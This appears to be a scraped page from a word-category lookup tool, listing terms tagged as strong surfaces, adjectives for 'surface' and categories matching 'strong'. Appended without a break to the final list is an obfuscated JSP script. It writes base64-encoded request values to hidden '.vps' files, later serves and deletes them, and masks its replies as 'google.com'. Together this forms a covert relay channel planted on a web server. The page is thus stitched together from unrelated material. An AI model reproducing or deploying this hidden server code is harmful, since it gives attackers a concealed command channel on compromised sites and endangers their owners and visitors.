Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
strong_surface
:
post,
teeth,
boat,
head,
concrete,
hair,
wall,
film,
bronze,
sturdy_table,
desk,
paper,
hands,
brass,
pelmet,
chair,
mouth,
overhead_beam,
brick,
table,
velvet,
doorway,
wood,
stone,
train,
walkway,
horse,
fence,
carbon_fibre,
pipe,
tower,
steps,
brown_paper,
bench,
sheet,
denim,
string,
thick_paper,
blanket,
steel,
lemon,
acrylic,
steel_sheet,
chalk,
sausage,
nail,
oil,
beam,
web,
gun,
iron,
railing,
wire_mesh,
wire,
speaker,
burlap,
diamond,
drive,
wind,
edge,
school,
skin,
nylon,
rack,
heavy_table,
cement,
banister,
silver,
blue,
pillar,
lead,
lamppost,
tank,
lamp,
frame,
wool,
court,
gas,
carbon,
rug,
lighting,
linen,
ax,
fabric,
filament,
aircraft,
column,
disc,
car_hood,
fencing,
awning_frame,
calico,
marble,
building,
church,
check,
chains,
cotton,
fire,
fiber,
ice,
horn,
polyester,
canvas,
plastic_sheet,
corrugated_box,
block_wall,
plane,
lip,
masonry_block,
satin,
rv,
eyes,
stem,
paint,
snow,
paving,
plant_pot,
carbon_fiber,
block,
light,
crib,
rubber,
fold,
concrete_wall,
headlight,
mortar,
water,
Modifiers matching
surface
:
raw,
flat,
airtight,
lasting,
hard,
vertical,
wearable,
alkaline,
analytic,
smaller,
solid,
varied,
stained,
smooth,
advanced,
unfriendly,
difficult,
dark,
polymeric,
broad,
horizontal,
unobstructed,
plain,
soft,
nonflammable,
vulnerable,
impervious,
wooden,
odd,
unwelcome,
metal,
world,
representative,
steady,
original,
dynamic,
resonant,
artificial,
athletic,
acting,
insoluble,
lustrous,
edged,
basal,
unmarked,
coordinate,
confining,
unusual,
complex,
semisolid,
modular,
canonical,
closed,
macromolecular,
dried,
downhill,
stationary,
tangible,
optical,
regular,
silver,
moist,
sounding,
changing,
foreign,
bumpy,
attractive,
uneven,
dangerous,
nonskid,
rear,
nontraditional,
urban,
suitable,
unyielding,
tough,
digital,
mucous,
nonmetal,
initial,
medium,
pale,
noncombustible,
exposed,
ordinary,
disposable,
unfinished,
stable,
rectangular,
domestic,
primary,
interactive,
unmovable,
impacted,
commercial,
ceramic,
walking,
volumetric,
monolithic,
non-ferrous,
manufactured,
seasonal,
soiled,
polish,
elongated,
front,
plane,
dry,
immobile,
normal,
useful,
actual,
oblong,
warm,
deleterious,
geometric,
convex,
specular,
non-elastic,
fatty,
paved,
realistic,
unstable,
softer,
immovable,
main,
energetic,
portable,
under,
covered,
common,
entire,
discrete,
robust,
nonabsorbent,
architectural,
detailed,
flawless,
sleek,
available,
current,
delicate,
compliant,
combustible,
inappropriate,
solar,
multiple,
nonreflective,
unclean,
nonslip,
intermediate,
coarse,
joint,
appropriate,
wet,
nonpolar,
damaging,
diverse,
dense,
secure,
typical,
matte,
radioactive,
frictional,
expansive,
shared,
large,
particular,
exclusive,
underwater,
elevated,
up,
vehicular,
compressible,
elastic,
valuable,
versatile,
liquid,
essential,
hazardous,
treated,
precious,
tactile,
clean,
inanimate,
metallic,
sloping,
empty,
unpaved,
dusty,
inorganic,
computational,
musical,
inner,
reactive,
natural,
variable,
atmospheric,
top,
shady,
polished,
firm,
smoother,
removable,
peripheral,
circular,
particulate,
lightweight,
cylindrical,
low,
deep,
finished,
mathematical,
undesirable,
dimensional,
charged,
safe,
cleanable,
synthetic,
prone,
raised,
fine,
popular,
parametric,
biological,
packed,
frontal,
demanding,
inclined,
looking,
out,
major,
black,
indoor,
boney,
glowing,
heterogeneous,
conspicuous,
rougher,
frozen,
nonmetallic,
internal,
upright,
physical,
inhomogeneous,
ocular,
durable,
repetitive,
polar,
symmetric,
decorative,
impressionable,
industrial,
heated,
conductive,
unconventional,
pedestrian,
hotter,
narrow,
resilient,
tougher,
base,
non-organic,
round,
hollow,
fluffy,
desired,
developed,
amorphous,
magnetic,
sensitive,
visible,
special,
padded,
compact,
remote,
bright,
resistant,
possible,
new,
woven,
malleable,
terrestrial,
comfortable,
greasy,
undifferentiated,
experimental,
electronegative,
concrete,
painted,
ferric,
impenetrable,
straight,
plastic,
acidic,
nonconductive,
massive,
fibrous,
weak,
coloured,
moldable,
embedded,
model,
proteinaceous,
permanent,
circumferential,
parallel,
nonmagnetic,
practical,
colored,
small,
damp,
exterior,
color,
symmetrical,
epithelial,
glossy,
nutrient,
extra,
sunbaked,
virtual,
photosensitive,
institutional,
neutral,
atomic,
mirrorlike,
fixed,
surrounding,
prepared,
supporting,
unconsolidated,
semirigid,
inertial,
outside,
mechanical,
nonnatural,
eccentric,
working,
clear,
side,
dissimilar,
transparent,
static,
primitive,
conventional,
cool,
rubberlike,
coated,
irregular,
underlying,
trim,
sundry,
non-active,
absorptive,
rigid,
recreational,
driving,
fuzzy,
convenient,
textured,
standard,
alternative,
brittle,
logical,
photographic,
organic,
euclidean,
crystalline,
semitransparent,
unenclosed,
important,
impure,
extensive,
textual,
biogenic,
protective,
iron,
nonporous,
unstained,
asphaltic,
iridescent,
hydrophilic,
unique,
permeable,
branching,
pervious,
receptive,
unattractive,
thermal,
dead,
contributing,
spherical,
bendable,
key,
yielding,
topographic,
untreated,
electronic,
fluid,
perpendicular,
strong,
variegated,
secondary,
external,
shiny,
pliable,
sized,
long,
macroscopic,
rational,
beautiful,
cooler,
hidden,
complicated,
dull,
hot,
miscellaneous,
powdery,
moveable,
individual,
sticky,
penetrating,
abstract,
infinite,
catalytic,
relevant,
open,
colder,
slippery,
challenging,
noble,
level,
marine,
ancient,
non-porous,
ferrous,
molecular,
awkward,
environmental,
basic,
over,
interesting,
rugged,
fresh,
baked,
contiguous,
outdoor,
nonresilient,
buccal,
shallow,
tall,
continuous,
structured,
old,
conical,
unprotected,
opaque,
oral,
tubular,
inaccessible,
single,
inflammable,
sterile,
bony,
slanted,
anisotropic,
fabricated,
waxed,
calcareous,
nonslippery,
nearby,
porous,
animate,
arcuate,
movable,
passive,
noncritical,
pure,
elementary,
nonconducting,
geological,
several,
sensory,
contemporary,
nonliving,
light,
anatomic,
dental,
simple,
non-polished,
cellular,
anatomical,
everyday,
featureless,
connected,
carbonaceous,
bouncy,
wavy,
unnatural,
moving,
analytical,
contrasting,
nonrigid,
watertight,
big,
hydrophobic,
unlikely,
oriented,
thick,
rich,
critical,
outer,
unpainted,
heavier,
related,
rounded,
photoconductive,
ferromagnetic,
aerodynamic,
printable,
inside,
optic,
broken,
upturned,
mucosal,
public,
cementitious,
sculptured,
nonstick,
ancillary,
translucent,
familiar,
blank,
noisy,
activated,
anthropogenic,
accessible,
granular,
balanced,
absorbent,
distant,
larger,
random,
makeshift,
sanitary,
reflective,
planar,
planetary,
defined,
refractory,
disturbed,
topological,
technical,
unpolished,
harder,
washable,
unsanitary,
functional,
mobile,
thin,
off,
sliding,
expensive,
plush,
cold,
carpeted,
geometrical,
supportive,
biologic,
free,
traditional,
dirty,
pointed,
cushy,
flammable,
injured,
insistent,
white,
modern,
controlled,
grimy,
sturdy,
sheer,
necessary,
unwanted,
spatial,
waterproof,
non-greasy,
uncarpeted,
structural,
abrasive,
specialized,
impermeable,
longitudinal,
sharp,
flexible,
cluttered,
residential,
layer,
tiled,
adjacent,
uniform,
poor,
fragile,
ornamental,
non-reflective,
cortical,
real,
heavy,
fireproof,
overhead,
automotive,
wide,
loose,
high,
steep,
inert,
flying,
visual,
active,
diffusing,
curved,
rough,
implicit,
interior,
down,
home,
historic,
homogeneous,
Simple categories matching
strong
:
information,
emotion,
material,
yarn,
reaction,
object,
oxidizer,
experience,
chemical,
part,
drink,
sugar,
area,
motivation,
food,
ship,
game,
spirits,
fastener,
substance,
interference,
body,
caustic,
disinfectant,
plane,
entity,
hardware,
training,
wood,
desire,
steroid,
odor,
wire,
vegetable,
heuristic,
metal,
affinity,
rule,
dog,
papers,
perturbation,
evidence,
control,
nonconductor,
adhesive,
organization,
cheese,
connection,
compound,
mood,
red,
point,
interaction,
carbide,
activation,
oxidant,
color,
tranquilizer,
herb,
anchor,
crate,
wind,
coffee,
interest,
light,
fibre,
toxicity,
plastic,
medication,
shock,
cloth,
colours,
character,
fragrance,
salt,
vehicle,
competitor,
adaptation,
activity,
quality,
antiseptic,
institution,
liqueur,
ingredient,
tie,
motion,
race,
sentiment,
aldehyde,
carcinogen,
current,
antipsychotic,
competition,
thread,
influence,
foundation,
anisotropy,
output,
play,
antidepressant,
sector,
property,
odour,
attack,
cyclone,
alliance,
container,
stimulant,
legislature,
association,
scent,
item,
abrasive,
component,
ion,
hide,
beast,
aroma,
structure,
catalyst,
discontinuity,
narcotic,
field,
wall,
profession,
glue,
rock,
event,
flavoring,
flavour,
force,
lighting,
meat,
vegetation,
process,
alkali,
content,
track,
diuretic,
state,
honey,
taste,
disturbance,
unit,
line,
fiber,
sheet,
bond,
organisation,
ligand,
smell,
ale,
pattern,
medicine,
monster,
plant,
subject,
energy,
liquor,
attribute,
movement,
feature,
footwear,
mineral,
skill,
medicament,
base,
drug,
flavor,
form,
tool,
pressure,
animal,
weather,
paper,
synthetic,
school,
touch,
tree,
flavouring,
binder,
measure,
cause,
reflector,
gun,
corticosteroid,
condition,
depressant,
alcohol,
message,
arrival,
stimulus,
protection,
trap,
painkiller,
motive,
impulse,
bath,
opiate,
constraint,
furniture,
brew,
surface,
solid,
fabric,
characteristic,
trait,
reactant,
action,
signal,
feeling,
string,
person,
rope,
values,
prey,
tissue,
soil,
substrate,
hallucinogen,
weapon,
dielectric,
lamp,
anesthetic,
bird,
creature,
response,
means,
precipitation,
beverage,
lye,
stone,
spice,
sport,
group,
gas,
seasoning,
storm,
elements,
acid,
liquid,
thing,
sensation,
ray,
system,
thermoplastic,
phase,
stuff,
agent,
beer,
magnet,
allergen,
procedure,
analgesic,
tape,
herbivore,
hardwood,
support,
fighter,
article,
piece,
window,
conviction,
tea,
antigen,
crystal,
formation,
passion,
solvent,
illumination,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>